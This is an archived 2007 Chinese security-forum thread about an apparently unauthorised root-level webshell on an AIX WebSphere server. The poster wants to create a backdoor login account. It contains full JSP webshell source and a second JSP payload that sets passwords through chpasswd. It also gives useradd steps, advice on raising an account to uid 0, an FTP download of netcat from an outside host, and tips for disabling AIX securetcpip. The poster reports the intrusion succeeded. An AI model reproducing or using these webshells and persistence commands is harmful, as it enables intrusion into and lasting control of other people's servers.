邪恶八进制信息安全团队技术讨论组's Archiver

28度的冰 2007-11-15 14:52

[讨论]AIX主机root权限的webshell怎么添加用户

议题作者:28度的冰
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
[code]id[/code]
[quote]uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp),201(dba)[/quote]
useradd可以添加用户,可是passwd需要交互界面才行啊。
本来想用NC回一个shell,可是发现AIX没有wget
[code]which wget[/code]
[code]no wget in /usr/WebSphere/AppServer/java/bin /usr/WebSphere/AppServer/java/jre/bin。。。后面略去[/code]
我想到用ftp -s,可是发现AIX下的ftp没有-s参数。
nc就上不去了啊。
我考虑过上传一个nc,再给他chmod,可是事实是,我上传上去根本不知道文件在哪里。在shell里面pwd显示的是/,ls列出来的也是根目录下的东西。
用了一个jsp探针,看到
[code]javax.servlet.context.tempdir /usr/WebSphere/AppServer/temp/was/bjtu/bjtu/bjtu.war [/code]
我怎样才能给加上的用户设密码呢?或者怎么得到一个交互的界面。

————
目前的情况是:已经用cnqing在16楼所说的方法加上了用户,但是,还剩下两个问题没有解决:
1.如何将添加上的用户ice改成root权限,或者说如何添加root权限用户。在FC和RedHat中可以有两个方法a.useradd -u 0 -o -g 0 youname 可是AIX中没有-o参数;b.修改/etc/passwd,将uid改成0。
2.为什么我上传的很多的jsp的webshell都不能正常的解析,只有最简单的webshell可以解析。

zendf 2007-11-15 14:57

直接改/etc/passwd 和 shadow

28度的冰 2007-11-15 18:21

嗯,我以前在一台RedHat主机上尝试过,但是添加在passwd和shadow中各添加一行了之后还是登录不了。这台AIX的机子只弄到一个执行命令的webshell,尝试这种方法也不方便。
对于RedHat和FC,我倒是查到一个办法比较适用
useradd  28ice;  echo  'mima'  |  passwd  --stdin  28ice
用户名为28ice,密码为mima的用户就上了。
可是aix里面的passwd没有--stdin参数,哎。

cnqing 2007-11-15 22:42

1.useradd hack
2.echo hack:passwd>pwdfile
3.cat pwdfile | chpasswd

如果需要第四步
4.chpasswd -c

28度的冰 2007-11-16 12:55

ls的方法不行啊,
添加一个hack密码passwd的用户?
登录不了。似乎在第二步有问题。

pub!1c 2007-11-16 13:08

cd /tmp
ftp 10.1.0.88
username: swan
password: 123456

登录后, 直接  
get nc.zip
unzip nc.zip

ftp 传输文件, 不需要s选项的.

28度的冰 2007-11-16 14:13

可是关键的问题是我现在只有一个webshell啊,不能执行交互的命令。

cnqing 2007-11-16 14:53

你echo输出不行?
把你的web shell代码发来看。

28度的冰 2007-11-16 16:32

[code]<FORM METHOD=GET ACTION=&#39;shell.jsp&#39;>
<INPUT name=&#39;cmd&#39; type=text>
<INPUT type=submit value=&#39;Run&#39;>
</FORM>

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>[/code]

cnqing 2007-11-16 19:06


shell.jsp?cmd=echo+hack:passwd+>pwdfile

vb 2007-11-16 20:36

哈哈  有点看不懂啊

28度的冰 2007-11-16 21:16

to cnqing.
1.我没有完全明白
echo hack:passwd >pwdfile
cat pwdfile | chpasswd的意义,
2.应该不是echo 的问题,难道是AIX有一个的特殊性?AIX里面的有些命令和FC不一样,是不是这个原因?

cnqing 2007-11-17 00:11

fc和aix差太多

aix只有这个命令可以不需要交互批量修改用户密码,限于root运行。
java的getruntime 得到的也只是jvm的运行环境。
exec不是用户sh解释器,这个方法有重构,更多的用法是:
string[] cmd={"user","add"};
exec(cmd);之类

你先确定你的pwdfile文件是否正确为 user:passwd  格式。
应该问题出在管道符上,至于怎么解决我也没这样的webshell环境测试,不能说出绝对正确的方法。好象你现在都没上传的方法吧,
有上传的话给你写个shell用。
关于chpasswd,man有如下内容:

To set passwords for users contained in a file named mypwdfile,
type the following:

cat mypwdfile | chpasswd
Note that mypwdfile must contain username:password pairs; one pair
per line. For example:

user1:passwd1
user2:passwd2

xi4oyu 2007-11-17 10:16

脚本,脚本....

Helvin 2007-11-17 13:59

1、你可以尝试用tftp
2、ftp+.netrc UNIX不带s参数,但可以支持.netrc宏
3、尝试启动他的tftpd、telnetd
4、在他的服务器上构建一个跟你的Linux一个证书认证,然后使用rcp

在AIX Unix中,以上的所有命令都会被一个安全机制控制 securetcpip
你最好抓取/etc/security/config 看一下,先搞掉他的securetcpip

你已经有root,这已经证明可以做任何事情。你可以把很多命令,条件判断等,写入到一个Shell中执行,在Unix不需要交互仍然可以做所有的事情

28度的冰 2007-11-17 20:49

Helvin的帖子我还要细细消化,感觉都可以尝试,在这里先感谢。

to cnqing
[quote]好象你现在都没上传的方法吧[/quote]

原谅我在这一点上没有说清楚,抱歉。
情况是这样的:
1.可上传任意文件,但是n个jspshell都报错,我估计有3种可能
  1)shell编写者语法不规范(可不能都不规范啊...)
  2)AIX主机的环境变量没有配好
  3)AIX本身的特殊性
。只有这个最简单shell能用。
2.我上传上去的文件找不到在什么地方,在浏览器中倒是能访问,在jspshell里pwd是/,明显不可能,在探针里看是/usr/WebSphere/AppServer/temp/was/bjtu/bjtu/bjtu.war。感觉怪怪的。

cnqing 2007-11-17 22:08

先useradd hack
你传这个试试,若成功,首次登录要修改密码的。
<%@ page import="java.io.*" %>
<%
String[] cmd = { "/usr/bin/ksh", "-c", "echo hack:passwd | chpasswd" };
Process p = Runtime.getRuntime().exec(cmd);
%>
不行的话,你qq我的qq,论坛互动性太差了,练个短信都不能发。

28度的冰 2007-11-18 11:21

已经解决。
看图:

现在QQ基本不用了,用MSN多一些。
此帖我学到了很多。

cnqing 2007-11-18 12:12

可憐的 小機,就這樣陂你搞定了。
N多人要找小機練手呢。
你玩兩天 就考222吧,槑

linuxman 2007-11-18 12:30

已解决怎么不把解决的方法说明下。到底是那种成功的!

28度的冰 2007-11-18 12:34

解决办法就是cnqing16楼所说的办法啊

页: [1]
© 1999-2008 EvilOctal Security Team